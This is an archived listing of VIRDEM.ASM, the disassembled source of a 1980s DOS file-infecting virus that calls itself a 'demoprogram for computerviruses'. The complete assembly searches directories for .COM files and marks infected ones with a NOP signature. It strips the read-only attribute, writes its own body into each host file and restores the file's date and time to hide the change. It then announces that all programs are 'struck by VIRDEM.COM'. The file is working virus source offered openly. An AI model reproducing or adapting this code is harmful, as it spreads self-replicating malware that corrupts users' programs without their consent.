home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / VIRDEM.ASM < prev    next >
Assembly Source File  |  1992-08-05  |  24KB  |  488 lines

  1. ;██████████████████████████████████████████████████████████████████████████
  2. ;██                                                                      ██
  3. ;██                             VIRDEM                                   ██
  4. ;██                                                                      ██
  5. ;██      Created:   16-Mar-87                                            ██
  6. ;██      Version:                                                        ██
  7. ;██      Passes:    5          Analysis Options on: QRS                  ██
  8. ;██      Copyright by R.Burger 1986,1987                                 ██
  9. ;██                                                                      ██
  10. ;██████████████████████████████████████████████████████████████████████████
  11.  
  12. data_1e         equ     80h                     ; (8C04:0080=0)
  13. data_2e         equ     9Eh                     ; (8C04:009E=0)
  14. data_16e        equ     0F800h                  ; (8C04:F800=0)
  15. data_17e        equ     0FD00h                  ; (8C04:FD00=0)
  16.  
  17. seg_a           segment byte public
  18.                 assume  cs:seg_a, ds:seg_a
  19.  
  20.  
  21.                 org     100h
  22.  
  23. virdem          proc    far
  24.  
  25. start:
  26.                 nop
  27.                 nop
  28.                 nop
  29.                 mov     sp,0FE00h
  30.                 push    ax
  31.                 push    bx
  32.                 push    cx
  33.                 push    dx
  34.                 push    bp
  35.                 push    si
  36.                 push    di
  37.                 push    ds
  38.                 push    es
  39.                 push    ss
  40.                 pushf                           ; Push flags
  41.                 mov     si,data_1e              ; (8C04:0080=0)
  42.                 lea     di,cs:[3BFh]            ; Load effective addr
  43.                 mov     cx,20h
  44.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  45.                 mov     ax,0
  46.                 mov     es:data_5,ax            ; (8C04:038F=0)
  47.                 mov     bl,byte ptr es:data_12+0Dh      ; (8C04:0422=30h)
  48.                 cmp     bl,39h                  ; '9'
  49.                 je      loc_1                   ; Jump if equal
  50.                 inc     bl
  51. loc_1:                                          ;  xref 8C04:012C
  52.                 mov     byte ptr es:data_12+0Dh,bl      ; (8C04:0422=30h)
  53.  
  54.                 mov     ah,19h
  55.                 int     21h                     ; DOS Services  ah=function 19h
  56.                                                 ;  get default drive al  (0=a:)
  57.                 mov     cs:data_10,al           ; (8C04:03E1=0)
  58.                 mov     ah,47h                  ; 'G'
  59.                 mov     dh,0
  60.                 add     al,1
  61.                 mov     dl,al
  62.                 lea     si,cs:[3E3h]            ; Load effective addr
  63.                 int     21h                     ; DOS Services  ah=function 47h
  64.                                                 ;  get present dir,drive dl,1=a:
  65.                 jmp     short loc_3             ; (016D)
  66.                 db      90h
  67. loc_2:                                          ;  xref 8C04:0191, 01A0
  68.                 mov     ah,40h                  ; '@'
  69.                 mov     bx,1
  70.                 mov     cx,34h
  71.                 nop
  72.                 lea     dx,cs:[57Ch]            ; Load effective addr
  73.                 int     21h                     ; DOS Services  ah=function 40h
  74.                                                 ;  write file cx=bytes, to ds:dx
  75.                 mov     dx,cs:data_6            ; (8C04:0391=600h)
  76.                 mov     cs:data_17e,dx          ; (8C04:FD00=0)
  77.                 jmp     loc_12                  ; (02E4)
  78.                 jmp     loc_12                  ; (02E4)
  79. loc_3:                                          ;  xref 8C04:014B
  80.                 mov     dl,0
  81.                 mov     ah,0Eh
  82.                 int     21h                     ; DOS Services  ah=function 0Eh
  83.                                                 ;  set default drive dl  (0=a:)
  84.                 mov     ah,3Bh                  ; ';'
  85.                 lea     dx,cs:[3DFh]            ; Load effective addr
  86.                 int     21h                     ; DOS Services  ah=function 3Bh
  87.                                                 ;  set current dir, path @ ds:dx
  88.                 jmp     short loc_7             ; (01C9)
  89.                 db      90h
  90. loc_4:                                          ;  xref 8C04:01D4, 01E7
  91.                 mov     ah,3Bh                  ; ';'
  92.                 lea     dx,cs:[3DFh]            ; Load effective addr
  93.                 int     21h                     ; DOS Services  ah=function 3Bh
  94.                                                 ;  set current dir, path @ ds:dx
  95.                 mov     ah,4Eh                  ; 'N'
  96.                 mov     cx,11h
  97.                 lea     dx,cs:[399h]            ; Load effective addr
  98.                 int     21h                     ; DOS Services  ah=function 4Eh
  99.                                                 ;  find 1st filenam match @ds:dx
  100.                 jc      loc_2                   ; Jump if carry Set
  101.                 mov     bx,cs:data_5            ; (8C04:038F=0)
  102.                 inc     bx
  103.                 dec     bx
  104.                 jz      loc_6                   ; Jump if zero
  105. loc_5:                                          ;  xref 8C04:01A3
  106.                 mov     ah,4Fh                  ; 'O'
  107.                 int     21h                     ; DOS Services  ah=function 4Fh
  108.                                                 ;  find next filename match
  109.                 jc      loc_2                   ; Jump if carry Set
  110.                 dec     bx
  111.  
  112.                 jnz     loc_5                   ; Jump if not zero
  113. loc_6:                                          ;  xref 8C04:019A
  114.                 mov     ah,2Fh                  ; '/'
  115.                 int     21h                     ; DOS Services  ah=function 2Fh
  116.                                                 ;  get DTA ptr into es:bx
  117.                 add     bx,1Ch
  118.                 mov     word ptr es:[bx],5C20h
  119.                 inc     bx
  120.                 push    ds
  121.                 mov     ax,es
  122.                 mov     ds,ax
  123.                 mov     dx,bx
  124.                 mov     ah,3Bh                  ; ';'
  125.                 int     21h                     ; DOS Services  ah=function 3Bh
  126.                                                 ;  set current dir, path @ ds:dx
  127.                 pop     ds
  128.                 mov     bx,cs:data_5            ; (8C04:038F=0)
  129.                 inc     bx
  130.                 mov     cs:data_5,bx            ; (8C04:038F=0)
  131. loc_7:                                          ;  xref 8C04:017B
  132.                 mov     ah,4Eh                  ; 'N'
  133.                 mov     cx,1
  134.                 lea     dx,cs:[393h]            ; Load effective addr
  135.                 int     21h                     ; DOS Services  ah=function 4Eh
  136.                                                 ;  find 1st filenam match @ds:dx
  137.                 jc      loc_4                   ; Jump if carry Set
  138.                 mov     bx,es:data_5            ; (8C04:038F=0)
  139.                 cmp     bx,0
  140.                 je      loc_8                   ; Jump if equal
  141.                 jmp     short loc_9             ; (01E9)
  142.                 db      90h
  143. loc_8:                                          ;  xref 8C04:01DE, 020D
  144.                 mov     ah,4Fh                  ; 'O'
  145.                 int     21h                     ; DOS Services  ah=function 4Fh
  146.                                                 ;  find next filename match
  147.                 jc      loc_4                   ; Jump if carry Set
  148. loc_9:                                          ;  xref 8C04:01E0
  149.                 mov     ah,3Dh                  ; '='
  150.                 mov     al,2
  151.                 mov     dx,data_2e              ; (8C04:009E=0)
  152.                 int     21h                     ; DOS Services  ah=function 3Dh
  153.                                                 ;  open file, al=mode,name@ds:dx
  154.                 mov     bx,ax
  155.                 mov     ah,3Fh                  ; '?'
  156.                 mov     cx,500h
  157.                 nop
  158.                 mov     dx,data_16e             ; (8C04:F800=0)
  159.                 nop
  160.                 int     21h                     ; DOS Services  ah=function 3Fh
  161.                                                 ;  read file, cx=bytes, to ds:dx
  162.                 mov     ah,3Eh                  ; '>'
  163.                 int     21h                     ; DOS Services  ah=function 3Eh
  164.                                                 ;  close file, bx=file handle
  165.                 mov     bx,cs:data_16e          ; (8C04:F800=0)
  166.                 cmp     bx,9090h
  167.                 je      loc_8                   ; Jump if equal
  168.                 mov     ah,43h                  ; 'C'
  169.  
  170.                 mov     al,0
  171.                 mov     dx,data_2e              ; (8C04:009E=0)
  172.                 int     21h                     ; DOS Services  ah=function 43h
  173.                                                 ;  get/set file attrb, nam@ds:dx
  174.                 mov     ah,43h                  ; 'C'
  175.                 mov     al,1
  176.                 and     cx,0FEh
  177.                 int     21h                     ; DOS Services  ah=function 43h
  178.                                                 ;  get/set file attrb, nam@ds:dx
  179.                 mov     ah,3Dh                  ; '='
  180.                 mov     al,2
  181.                 mov     dx,data_2e              ; (8C04:009E=0)
  182.                 int     21h                     ; DOS Services  ah=function 3Dh
  183.                                                 ;  open file, al=mode,name@ds:dx
  184.                 mov     bx,ax
  185.                 mov     ah,57h                  ; 'W'
  186.                 mov     al,0
  187.                 int     21h                     ; DOS Services  ah=function 57h
  188.                                                 ;  get/set file date & time
  189.                 push    cx
  190.                 push    dx
  191.                 mov     ah,42h                  ; 'B'
  192.                 mov     al,2
  193.                 mov     dx,0
  194.                 mov     cx,0
  195.                 int     21h                     ; DOS Services  ah=function 42h
  196.                                                 ;  move file ptr, cx,dx=offset
  197.                 test    ax,8000h
  198.                 jnz     loc_10                  ; Jump if not zero
  199.                 cmp     ax,500h
  200.                 nop
  201.                 ja      loc_10                  ; Jump if above
  202.                 call    sub_3                   ; (0380)
  203. loc_10:                                         ;  xref 8C04:0244, 024A
  204.                 push    ax
  205.                 push    dx
  206.                 mov     ah,40h                  ; '@'
  207.                 mov     cx,500h
  208.                 nop
  209.                 mov     dx,data_16e             ; (8C04:F800=0)
  210.                 nop
  211.                 int     21h                     ; DOS Services  ah=function 40h
  212.                                                 ;  write file cx=bytes, to ds:dx
  213.                 pop     dx
  214.                 pop     ax
  215.                 add     ax,100h
  216.                 mov     es:data_4,ax            ; (8C04:02BD=0)
  217.                 add     ax,500h
  218.                 nop
  219.                 mov     dx,cs:data_6            ; (8C04:0391=600h)
  220.                 mov     cs:data_17e,dx          ; (8C04:FD00=0)
  221.                 mov     es:data_6,ax            ; (8C04:0391=600h)
  222.                 mov     ah,40h                  ; '@'
  223.                 mov     cx,38h
  224.                 nop
  225.                 lea     dx,cs:[287h]            ; Load effective addr
  226.                 int     21h                     ; DOS Services  ah=function 40h
  227.  
  228.                                                 ;  write file cx=bytes, to ds:dx
  229.                 jmp     short loc_11            ; (02C0)
  230.                 db      90h
  231.                 db      0BFh, 80h, 00h, 8Dh, 36h,0BFh
  232.                 db       03h,0B9h, 20h, 00h,0F3h,0A4h
  233.                 db      0E8h, 00h, 00h
  234.  
  235. virdem          endp
  236.  
  237. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  238. ;                              SUBROUTINE
  239. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  240.  
  241. sub_1           proc    near
  242.                 pop     ax
  243.                 mov     bx,27h
  244.                 nop
  245.                 add     ax,bx
  246.                 mov     si,ax
  247.                 mov     bx,es:[si]
  248.                 mov     si,bx
  249.                 mov     di,offset ds:[100h]     ; (8C04:0100=90h)
  250.                 mov     cx,500h
  251.                 nop
  252.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  253.                 popf                            ; Pop flags
  254.                 pop     ss
  255.                 pop     es
  256.                 pop     ds
  257.                 pop     di
  258.                 pop     si
  259.                 pop     bp
  260.                 pop     dx
  261.                 pop     cx
  262.                 pop     bx
  263.                 pop     ax
  264.                 mov     ax,offset start
  265.                 push    ax
  266.                 ret
  267. sub_1           endp
  268.  
  269. data_4          dw      0                       ;  xref 8C04:0262
  270.                 db      90h
  271. loc_11:                                         ;  xref 8C04:0284
  272.                 mov     ah,42h                  ; 'B'
  273.                 mov     al,0
  274.                 mov     dx,0
  275.                 mov     cx,0
  276.                 int     21h                     ; DOS Services  ah=function 42h
  277.                                                 ;  move file ptr, cx,dx=offset
  278.                 mov     ah,40h                  ; '@'
  279.                 mov     cx,500h
  280.                 nop
  281.                 lea     dx,cs:[100h]            ; Load effective addr
  282.                 int     21h                     ; DOS Services  ah=function 40h
  283.                                                 ;  write file cx=bytes, to ds:dx
  284.                 mov     ah,57h                  ; 'W'
  285.  
  286.                 mov     al,1
  287.                 pop     dx
  288.                 pop     cx
  289.                 int     21h                     ; DOS Services  ah=function 57h
  290.                                                 ;  get/set file date & time
  291.                 mov     ah,3Eh                  ; '>'
  292.                 int     21h                     ; DOS Services  ah=function 3Eh
  293.                                                 ;  close file, bx=file handle
  294. loc_12:                                         ;  xref 8C04:0167, 016A
  295.                 nop
  296.                 call    sub_2                   ; (036E)
  297.                 mov     bl,byte ptr es:data_12+0Dh      ; (8C04:0422=30h)
  298.                 cmp     bl,31h                  ; '1'
  299.                 jne     loc_13                  ; Jump if not equal
  300.                 mov     ah,40h                  ; '@'
  301.                 mov     bx,1
  302.                 mov     cx,67h
  303.                 nop
  304.                 lea     dx,cs:[404h]            ; Load effective addr
  305.                 int     21h                     ; DOS Services  ah=function 40h
  306.                                                 ;  write file cx=bytes, to ds:dx
  307.                 mov     ah,0
  308.                 int     21h                     ; DOS Services  ah=function 00h
  309.                                                 ;  terminate, cs=progm seg prefx
  310. loc_13:                                         ;  xref 8C04:02F0
  311.                 mov     ah,40h                  ; '@'
  312.                 mov     bx,1
  313.                 mov     cx,102h
  314.                 nop
  315.                 lea     dx,cs:[404h]            ; Load effective addr
  316.                 int     21h                     ; DOS Services  ah=function 40h
  317.                                                 ;  write file cx=bytes, to ds:dx
  318.                 mov     ah,2
  319.                 mov     bl,byte ptr es:data_12+0Dh      ; (8C04:0422=30h)
  320.                 mov     dl,bl
  321.                 int     21h                     ; DOS Services  ah=function 02h
  322.                                                 ;  display char dl
  323.                 mov     ah,2Ch                  ; ','
  324.                 int     21h                     ; DOS Services  ah=function 2Ch
  325.                                                 ;  get time, cx=hrs/min, dh=sec
  326.                 mov     ah,0Ch
  327.                 mov     al,1
  328.                 int     21h                     ; DOS Services  ah=function 0Ch
  329.                                                 ;  clear keybd buffer & input al
  330.                 or      dl,30h                  ; '0'
  331.                 and     dl,bl
  332.                 cmp     dl,al
  333.                 je      loc_14                  ; Jump if equal
  334.                 mov     bl,dl
  335.                 mov     ah,2
  336.                 mov     dl,20h                  ; ' '
  337.                 int     21h                     ; DOS Services  ah=function 02h
  338.                                                 ;  display char dl
  339.                 mov     dl,3Eh                  ; '>'
  340.                 int     21h                     ; DOS Services  ah=function 02h
  341.                                                 ;  display char dl
  342.                 mov     dl,bl
  343.  
  344.                 int     21h                     ; DOS Services  ah=function 02h
  345.                                                 ;  display char dl
  346.                 mov     dl,3Ch                  ; '<'
  347.                 int     21h                     ; DOS Services  ah=function 02h
  348.                                                 ;  display char dl
  349.                 mov     ah,40h                  ; '@'
  350.                 mov     bx,1
  351.                 mov     cx,3Ch
  352.                 nop
  353.                 lea     dx,cs:[507h]            ; Load effective addr
  354.                 int     21h                     ; DOS Services  ah=function 40h
  355.                                                 ;  write file cx=bytes, to ds:dx
  356.                 mov     ah,0
  357.                 int     21h                     ; DOS Services  ah=function 00h
  358.                                                 ;  terminate, cs=progm seg prefx
  359. loc_14:                                         ;  xref 8C04:0330
  360.                 mov     ah,40h                  ; '@'
  361.                 mov     bx,1
  362.                 mov     cx,37h
  363.                 nop
  364.                 lea     dx,cs:[544h]            ; Load effective addr
  365.                 int     21h                     ; DOS Services  ah=function 40h
  366.                                                 ;  write file cx=bytes, to ds:dx
  367.                 mov     ax,es:data_17e          ; (8C04:FD00=0)
  368.                 push    ax
  369.                 ret
  370.  
  371. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  372. ;                              SUBROUTINE
  373. ;
  374. ;         Called from:   8C04:02E5
  375. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  376.  
  377. sub_2           proc    near
  378.                 mov     ah,0Eh
  379.                 mov     dl,cs:data_10           ; (8C04:03E1=0)
  380.                 int     21h                     ; DOS Services  ah=function 0Eh
  381.                                                 ;  set default drive dl  (0=a:)
  382.                 mov     ah,3Bh                  ; ';'
  383.                 lea     dx,cs:[3E2h]            ; Load effective addr
  384.                 int     21h                     ; DOS Services  ah=function 3Bh
  385.                                                 ;  set current dir, path @ ds:dx
  386.                 ret
  387. sub_2           endp
  388.  
  389.  
  390. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  391. ;                              SUBROUTINE
  392. ;
  393. ;         Called from:   8C04:024C
  394. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  395.  
  396. sub_3           proc    near
  397.                 mov     ah,42h                  ; 'B'
  398.                 mov     al,0
  399.                 mov     dx,500h
  400.                 nop
  401.  
  402.                 mov     cx,0
  403.                 int     21h                     ; DOS Services  ah=function 42h
  404.                                                 ;  move file ptr, cx,dx=offset
  405.                 ret
  406. sub_3           endp
  407.  
  408.                 db      0
  409. data_5          dw      0                       ;  xref 8C04:0120, 0193, 01BE, 01C4
  410.                                                 ;            01D6
  411. data_6          dw      600h                    ;  xref 8C04:015D, 026A, 0274
  412.                 db       "*.com", 00h
  413.                 db       2Ah, 00h,0FFh, 00h, 00h, 00h
  414.                 db       00h, 00h, 3Fh, 00h
  415.                 db      "????????exe"
  416.                 db       00h, 00h, 00h
  417.                 db       00h, 00h
  418.                 db      "????????com"
  419.                 db      33 dup (0)
  420.                 db       5Ch, 00h
  421. data_10         db      0                       ;  xref 8C04:0139, 0370
  422.                 db      5Ch
  423.                 db      33 dup (0)
  424.                 db      'Virdem Ver.: 1.06'
  425.  
  426.  
  427. data_12         db      ' (Generation 0) aktive.', 0Ah, 0Dh
  428.  
  429. copyright       db      'Copyright by R.Burger 1986,1987'
  430.                 db      0Ah, 0Dh, 'Phone.: D - 05932/5451'
  431.                 db      ' ', 0Ah, 0Dh, ' ', 0Ah, 0Dh, 'T'
  432.                 db      'his is a demoprogram for ', 0Ah, 0Dh
  433.                 db      'computerviruses. Please put in a'
  434.                 db      '   ', 0Ah, 0Dh, 'number now.', 0Ah
  435.                 db      0Dh, 'If you', 27h, 're right, yo'
  436.                 db      'u', 27h, 'll be', 0Ah, 0Dh, 'abl'
  437.                 db      'e to continue.', 0Ah, 0Dh, 'The '
  438.                 db      'number is between ', 0Ah, 0Dh, '0'
  439.                 db      ' and ', 0
  440.                 db      0Ah, 0Dh, 'Sorry, you', 27h, 're '
  441.                 db      'wrong', 0Ah, 0Dh, '       ', 0Ah
  442.                 db      0Dh, 'More luck at next try ....', 0Ah
  443.                 db      0Dh, 0
  444.                 db      0Ah, 0Dh, 'Famous. You', 27h, 're'
  445.                 db      ' right.', 0Ah, 0Dh, 'You', 27h, 'l'
  446.                 db      'l be able to continue. ', 0Ah, 0Dh
  447.                 db      0
  448.                 db      0Ah, 0Dh, 'All your programs are', 0Ah
  449.                 db      0Dh, 'struck by VIRDEM.COM now.', 0Ah
  450.                 db      0Dh
  451.                 db      0
  452.  
  453. seg_a           ends
  454.  
  455.                 end     start
  456.  
  457. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ CROSS REFERENCE - KEY ENTRY POINTS ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  458.  
  459.     seg:off    type        label
  460.    ---- ----   ----   ---------------
  461.    8C04:0100   far    start
  462.  
  463.  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ Interrupt Usage Synopsis ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  464.  
  465.         Interrupt 21h :  terminate, cs=progm seg prefx
  466.         Interrupt 21h :  display char dl
  467.         Interrupt 21h :  clear keybd buffer & input al
  468.         Interrupt 21h :  set default drive dl  (0=a:)
  469.         Interrupt 21h :  get default drive al  (0=a:)
  470.         Interrupt 21h :  get time, cx=hrs/min, dh=sec
  471.         Interrupt 21h :  get DTA ptr into es:bx
  472.         Interrupt 21h :  set current dir, path @ ds:dx
  473.         Interrupt 21h :  open file, al=mode,name@ds:dx
  474.         Interrupt 21h :  close file, bx=file handle
  475.         Interrupt 21h :  read file, cx=bytes, to ds:dx
  476.         Interrupt 21h :  write file cx=bytes, to ds:dx
  477.         Interrupt 21h :  move file ptr, cx,dx=offset
  478.         Interrupt 21h :  get/set file attrb, nam@ds:dx
  479.         Interrupt 21h :  get present dir,drive dl,1=a:
  480.         Interrupt 21h :  find 1st filenam match @ds:dx
  481.         Interrupt 21h :  find next filename match
  482.         Interrupt 21h :  get/set file date & time
  483.  
  484.  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ I/O Port Usage Synopsis  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  485.  
  486.         No I/O ports used.
  487.  
  488.